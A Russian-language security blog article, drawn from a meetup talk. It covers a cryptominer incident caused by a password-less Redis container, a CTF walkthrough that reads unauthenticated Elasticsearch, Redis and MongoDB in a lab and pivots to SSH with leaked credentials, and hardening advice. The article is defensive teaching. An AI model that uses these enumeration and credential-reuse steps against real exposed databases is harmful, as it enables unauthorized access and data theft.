Всем привет! На связи Александр Матвиенко, руководитель группы защиты от утечек информации в компании «Инфосистемы Джет». То, что с безопасностью даже очень популярных сервисов и продуктов не все в порядке, писать нет смысла — все и так читают новости. Несмотря на то, что внешних предпосылок для изменения ситуации нет, мы сами можем повлиять на нее. Для этого сегодня я расскажу об азах безопасности баз данных, находящихся в общем доступе. Мы рассмотрим реальный кейс, познакомимся с харденингом и обсудим, как каждый из вас (будучи разработчиком, создателем Pet-project или DevOps-инженером) может повлиять на защищенность баз в контейнерах в своих проектах.
Статья подготовлена по выступлению на VK Databases Meetup, организованном VK Cloud, так что, кроме текста, есть и видеозапись выступления.
Расследуем инцидент ИБ
Когда нужно поднять сервис наименее затратным и наиболее быстрым способом, администраторы часто ставят ОС, Docker, качают Docker-compose, разворачивают сервисы из готовых Compose-файлов и получают результат. Так делают тысячи администраторов во всём мире, если у них нет стандарта, который требует обеспечивать дополнительную безопасность. Для тестовых окружений это допустимый сценарий.
Однако конфигурации «по умолчанию» могут быть уязвимыми.
Пару лет назад ко мне обратились знакомые с проблемой повышенной загрузки облачного сервера: приложение тормозит весь день, причина неясна. Мы посмотрели в панель «Мониторинг» виртуальной машины и увидели 100%-ную загрузку процессора, хотя по истории график ранее не превышал и 20%-ной загрузки.
В роли сервера выступает виртуальная машина на Debian в крупном облачном провайдере. На этой виртуальной машине развернут Docker, на котором «крутятся» два контейнера: один с приложением на Python и второй с Redis, который взаимодействует с этим приложением:
После получения доступа к этой виртуальной машине я начал искать ответ на два вопроса: «Почему появилась такая загрузка?» (ведь каких-то изменений в конфигурации не происходило) и «Что загружает сервер на эти 100%?»
Подключаемся по SSH, запускаем top и видим следующее:
Load average (LA) вычисляется как длина очереди выполнения в операционной системе, где единица означает, что очередь заполнена, а значение выше единицы — что есть процессы, которые ожидают своей очереди на выполнение. Соответственно, три значения в LA отображают показатель за 1, 5 и 15 минут. В случае LA = 0 считается, что сервер простаивает, а в случае значения LA = 1 — что полностью загружается одно ядро процессора.
Смотрим на строку процентов CPU: здесь 94,7% занимает «us» — это user, то есть пользовательские процессы.
Также ищем столбец с процентами CPU и видим там значение 392,7.
Мы знаем, что на сервере четыре виртуальных ядра процессора, поэтому показатель 400% и следует трактовать как полную, стопроцентную загрузку сервера.
Также для нас интерес представляют столбцы с идентификатором процесса (Process ID, первый столбец) и «Имя/команда», который не похож на какую-либо стандартную или распространенную утилиту. Записываем значение 9146.
Теперь нужно поискать в соседних процессах, что именно создает загрузку, и найти, откуда она появилась.
Ищем с помощью утилиты ps -ef по процессу 9146:
ps -ef | grep 9146
999 9146 2517 99 Oct15 ? 71-12:13:15 /tmp/kmv -u 43VrubJgAdi21143yaJkNakSARraMQTmbP5YdoNwUdVjy1.CgMKGylvDVgjtvOgbmEAuvbaUGEG1FY2m5gTE74881ENe1376
-o xmr-eul.nanopool.org:14444
root 32550 31899 0 17:16 pts/0 00:00:00 grep --color=auto 9146
Находим, что есть некий процесс с аргументами, которые похожи на майнинг криптовалюты Monero. Почему Monero? Видим упоминание XMR в пуле для майнинга (то, что идет после -o), а также длинный адрес кошелька — 95 символов, — свойственный этой криптовалюте.
Видим, что это майнинг, копаем дальше, чтобы понять, откуда растут ноги и как майнер появился на сервере.
Выполняем ps -ef | grep 2517:
ps -ef | grep 2517
999 2517 2315 0 Oct08 ? 02:15:33 redis-server
999 9146 2517 99 Oct15 ? 71-12:13:33 /tmp/kmv -u 43VrubJgAdi2Bf3yaJkNakSARraMQTmb95YdoNwUdVjyLCgNPul(Gy7vDVgjtvOgbmEAuvba2x6EG1FY2m5gTFM881ENeB76
-o xmr-eul.nanopool.org:14444
root 32554 31899 0 17:16 pts/0 00:00:00 grep --color=auto 2517
Видим, что родительский процесс майнера — это сервис Redis.
Запоминаем.
Продолжаем распутывать этот процесс:
ps -ef | grep 2315
root 2315 795 0 Oct08 00:01:26 containerd-shim
-namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.1inux/moby/cd4daa435fb2dbcc1114576641cba4a60437a05324a93a48163a276c23ec0131 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
999 2517 2315 0 Oct08 02:15:33 redis-server
root 32558 31899 0 17:16 pts/0 00:00:00 grep
--color=auto 2135
У Redis родительским является процесс 2315, который представляет собой контейнер. Видим его путь и аргументы.
В этот момент может появиться предположение, что администратор взял готовый общедоступный конфиг контейнера Redis с дефолтными настройками безопасности. Возможно, в этом и кроется корень проблемы.
Просматриваем исходный Compose-файл:
redis-server:
container_name: redis-server
image: redis:5-alpine
restart: always
ports:
- "6006:6379"
Видим в нем имя, образ, прослушиваемый порт. Тут следует обратить внимание, что yaml контейнера не содержит в себе каких-либо логинов, паролей, ключей. Мы нашли корневую причину — используется Compose-файл без парольной защиты.
Хотим восстановить хронологию событий, найти, откуда на сервере появился майнер. Смотрим журналы, но в логах контейнера ничего явного не находим. Нужно погружаться дальше.
Конкретно сейчас нам не нужна форензика и сбор доказательств, наша цель — починить повышенную загрузку. Поэтому мы не боимся «наследить» и идем внутрь контейнера, видим процесс в топе, согласовываем перезапуск Redis. После этого загрузка ожидаемо упала до нормальных значений. Проблема решена, нужно исключить повторение. В логах мы так и не увидели ничего плохого, однако убедились, что Redis послужил входной точкой, значит, он был общедоступен. Смотрим netstat –nlp и видим, что, хоть и использовался нестандартный порт 6006, Redis все равно доступен извне.
Применяем прием «быстрофикс» — меняем Compose-файл:
redis-server:
container_name: redis-server
image: redis:5-alpine
restart: always
ports:
- "172.17.0.1:6006:6379
Ограничиваем контейнер подсетью Docker. Пересобираем контейнер с командой Docker Compose. Убеждаемся, что порт 6006 больше не доступен из интернета, и выдыхаем.
Разбор задания для участников VK Databases Meetup
После регистрации на митап участники могли попробовать выполнить тестовое задание, основанное на вышеописанном инциденте. Мы решили его адаптировать для разработчиков и администраторов баз.
Слайд с описанием задания:
Проект вот-вот будет выведен в открытое тестирование, и участникам требовалось проверить, безопасно ли выкладывать эти базы в интернет.
Вводные данные схожи: простой хост на Ubuntu, также используется Docker, но среди баз Elasticsearch, Redis, MongoDB, а также контейнер с nginx. Попутно с проверкой участникам нужно было собрать четыре флага.
Первый флаг. Elastic был без пароля, можно было удостовериться, сделав простой GET-запрос с помощью команды curl на стандартный порт Elasticsearch — 9200. Далее нужно было просмотреть все индексы, которые были в Elastic, и увидеть название appindex. Дальше запустить поиск по всему индексу appindex и в ответе получить первый флаг.
$ curl http://10.0.0.21:9200/_cat/indices
yellow open appindex PlJKf7PxT0ydKe-JzCxqlg 1 1 1 0 4.6kb 4.6kb
$ curl http://10.0.0.21:9200/appindex/_search?pretty=true&q=*:*
(…)
{
"_index" : "appindex",
"_type" : "sampletype",
"_id" : "3SK8HYgBYs2SG75P-Cwi",
"_score" : 1.0,
"_source" : {
"user" : "Test",
"post_date" : "2023-05-13T12:30:00",
"message" : "Elasticflag"
}
}
]
}
}
Есть возможность получить флаг еще быстрее — с помощью запроса _search, который выдал всю информацию:
$ curl http://10.0.0.21:9200/_search
{"took":8,"timed_out":false,"_shards":{"total":1,"successful":1,"skipped":0,"failed":0},"hits":{"total":{"value":1,"relation":"eq"},"max_score":1.0,"hits":[{"_index":"appindex","_type":"sampletype","_id":"3SK8HYgBYs2SG75P-Cwi","_score":1.0,"_source":{
"user" : "Test",
"post_date" : "2023-05-13T12:30:00",
"message" : "Elasticflag"
Второй флаг. Redis также был без аутентификации, поэтому той же утилитой redis-cli мы сделали тяжелый запрос keys* и получили полный перечень ключей. Обращаем внимание на ключ «flag» и забираем второй флаг:
$ redis-cli -u redis://10.0.0.21:6379
10.0.0.21:6379> keys *
1) "env"
2) "mongodbport"
3) "mongodbpassword"
4) "flag"
5) "mongodbuser"
6) "name"
10.0.0.21:6379> GET flag
"RedisFlagforVKMeetup"
Также видим, что у нас есть ключи, связанные с MongoDB. Делаем запросы, получаем порт (обращаем внимание, что он отличается от стандартного значения 27017), имя пользователя root, но поле «Пароль» пусто:
10.0.0.21:6379> get "mongodbport"
"27018"
10.0.0.21:6379> get "mongodbuser"
"root"
10.0.0.21:6379> get "mongodbpassword"
""
Пробуем подключиться с такими кредами и получаем ошибку. Вспоминаем, что у нас есть nginx, возможно, там есть какая-то подсказка. Обращаемся на 443, стандартный для https-порта, ничего не происходит. Подключаемся к 80 и видим страницу, на которой интерес для нас представляет первая ссылка, — Settings:
Settings
About
Services
Welcome to About Webpage
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ut dui vitae nibh tincidunt suscipit. Donec consequat tincidunt purus, eget consequat ipsum pharetra eu.
About Me
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ut dui vitae nibh tincidunt suscipit. Donec consequat tincidunt purus, eget consequat ipsum pharetra eu.
Services
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ut dui vitae nibh tincidunt suscipit. Donec consequat tincidunt purus, eget consequat ipsum pharetra eu.
© 2023 VK Database Meetup. All rights reserved.
Переходим по ней и попадаем на страницу, на которой есть connections string для Elasticsearch и Redis, где мы взяли первые два флага, но также есть и пароль от mongo:
Application settings page
Application Services
Elasticsearch connection string - <a href="http://localhost:9200/">http://localhost:9200</a>
MongoDB password - 12345678
Redis connection string - <a href="about:blank">redis://localhost:6379</a>
Пробуем подключиться, находим базу VK meetup Flags, в ней находим третий флаг. Кто-то из разработчиков использовал базу как парольный менеджер:
<a href="about:blank">
mongo://root:12345678@10.0.0.21:27018</a>
>show databases
admin 100.00 KiB
config 112.00 KiB
local 72.00 KiB
vkmeetupflags 40.00 KiB
>use vkmeetupflags
'switched to db vkmeetupflags'
>db.vkmeetupflags.find()
{
_id: ObjectId("6461d11295d56fad298646bb"),
flagvalue: 'MongoMeetUPFl@g'
}
{
_id: ObjectId("6461d3ae95d56fad298646be"),
sshlogin: 'user',
sshpass: 'I!Tq42H2aa@0'
}
Мы находим логин и пароль для подключения к серверу по протоколу SSH.
Пользуемся этим доступом, находим файл secretflag, смотрим его содержимое и видим финальный, четвертый флаг:
ssh user:I!Tq42H2aa@0@10.0.0.21
user@msksrvdb01:~$ ls
secretflag
user@msksrvdb01:~$ pwd
/home/user
user@msksrvdb01:~$ cat secretflag
SecretVKDatabaseMeetUpFlag1
Ремарка про NoSQL-базы и их защищенность
Существует большое количество NoSQL-баз данных, которые снискали свою популярность благодаря своим качествам — удобству, скорости, возможностям масштабирования и, конечно, открытому исходному коду и возможности использовать бесплатные Community-версии продуктов. Это MongoDB, Redis, Elasticsearch, Sphinx, Cassandra и другие.
Но обратной стороной медали популярности и распространенности является повышенный интерес со стороны киберпреступников. Например, благодаря удобству и простоте подключения к инстансу Elasticsearch можно очень легко выгрузить содержимое всей базы. Такая же ситуация и с Redis, и с MongoDB.
Часто эти сервисы используют как вспомогательные инструменты — например, как внешний индексатор, поэтому к их безопасности относятся с меньшим вниманием, чем к привычным СУБД. При дефолтных настройках для подключения к эластику достаточно сделать GET-запрос: http://localhost:9200/_cat/indices.
Redis, часто используемый для кэша, для очереди, как NoSQL-база, тоже чрезвычайно удобен: для работы с ним достаточно поставить одну утилиту redis-cli либо подключиться с использованием телнета к порту, по умолчанию это 6379. При дефолтных настройках может использоваться без пароля, поэтому, если сервис опубликован наружу, в интернет, то нелегитимное подключение не просто возможно — это вопрос времени.
Построение безопасности
Мы показали, как получить доступ и как быстро пофиксить процесс. Теперь пришло время комплексно разобраться с вопросом построения безопасности для контейнерных баз. У нас есть два союзника в этом вопросе: применение внешних средств защиты и харденинг.
Харденинг — это процесс усиления защищенности ИТ-инфраструктуры с целью снижения рисков от возможных угроз. Он включает в себя три больших домена: административные меры, физические меры и технические меры. Нас интересует третий блок, техника.
Общая концепция харденинга представлена на картинке ниже.
Сначала исключаем небезопасные конфигурации, настраиваем обновления, журналы аудита.
Далее производим базовый харденинг для реализации концепций Defence in Depth (построение эшелонированной защиты) и Perimeter Defense (защита периметра, обнаружение и предотвращение нелигитимных подключений). Следующий уровень — расширение харденинга, а затем уже вишенка на торте — использование инструментов для автоматизации.
Идти нужно именно в таком порядке, так как, не обеспечив базового уровня, мы рискуем оказаться в ситуации, когда мы построили вместо четырех стен одну, зато высокую.
Описанную концепцию можно переложить и на контейнерные среды и также двигаться снизу вверх — от более простого к более сложному, фиксируя состояние на каждом из уровней:
Сначала проводим инвентаризацию, составляем SBOM (Software Bill of Materials) — полный перечень используемого в проекте ПО.
Затем приходим к минимально необходимым действиям: используем многоуровневые сборки, не храним секреты внутри образа, ограничиваем права для запуска приложений, а также используем конкретную версию ПО, не используя latest.
После выполняем базовый харденинг: предоставляем только необходимые ресурсы и разрешения, используем функционал вайтлистинга приложений с использованием продуктов класса Container Security, используем системы для управления секретами и сетевых политик.
Третий уровень развития подразумевает хранение и обработку логов, использование подхода Infrastructure as Code и динамическую ротацию секретов.
И наконец, четвертый уровень — автоматическое реагирование.
Помимо харденинга, можно использовать:
- сканеры уязвимостей / Vulnerability Management для контроля наличия уязвимостей и уязвимых конфигураций;
- SIEM/SOAR для мониторинга событий и реагирования на инциденты безопасности;
- межсетевые экраны / NGFW для контроля доступа;
- системы предотвращения вторжений / IPS для отслеживания злонамеренной активности;
- Database Activity Monitoring (DAM) для выявления и предотвращения внештатных активностей;
- системы управления секретами для безопасного хранения секретов и их передачи в целевые системы.
Также не следует забывать про облачные сервисы.
Облачные сервисы развиваются стремительно, и это относится ко всем моделям (IaaS, PaaS, SaaS), но отдельно хочется рассмотреть сценарии при использовании базы данных как услуги, например, в VK Cloud — облаке ВК.
Вы можете выбрать любую из предложенных на рисунке баз:
Прелесть облака в том, что в случае использования PSaaS, к которым относятся DataBase as a Service (DBaaS), в зоне ответственности облачного провайдера находится безопасность аппаратной платформы, установленной операционной системы, прикладного программного обеспечения, а за пользователем остается только управление доступом к БД. Аналогично и с техническими вопросами: отказоустойчивостью, патч-менеджментом, обслуживанием баз — всё это тоже лежит в зоне ответственности провайдера.
Проверка
Если упрощать, то проверку можно провести в три шага: сканирование, выявление, подключение. Проверки нужно проводить регулярно: важно успеть выявить проблемы раньше ботнетов и иных инструментов злоумышленников.
Самый простой и быстрый способ — подключение с использованием инструментов для работы с этими базами: redis-cli, curl-запросы к Elasticsearch, mongo-cli. Если вам удалось подключиться без пароля из интернета, то в определенный момент это сможет сделать и злоумышленник.
Можно использовать самописные скрипты, можно взять готовые инструменты на GitHub, например https://github.com/yahoo/redischeck. Или можно воспользоваться Vulnerability Management-решениями, настроить расписание и сканировать свою сеть на предмет появления таких экземпляров БД.
Вместо заключения
В защите информации всегда приходится соблюдать компромисс между стоимостью и трудоемкостью защиты и стоимостью информации или ущерба от ее компрометации, поэтому средства выбираются, исходя из системного подхода по результатам моделирования угроз и оценки рисков. Но уровень базовой гигиены должен быть обеспечен всегда, независимо от того, какие сервисы используются и сколько стоит ваша информация.
savostin
Имхо, первый вопрос: почему на "виртуальной машине Debian" были открыты все порты? Это первое, что нужно сделать при первом логине на любую только что установленную систему.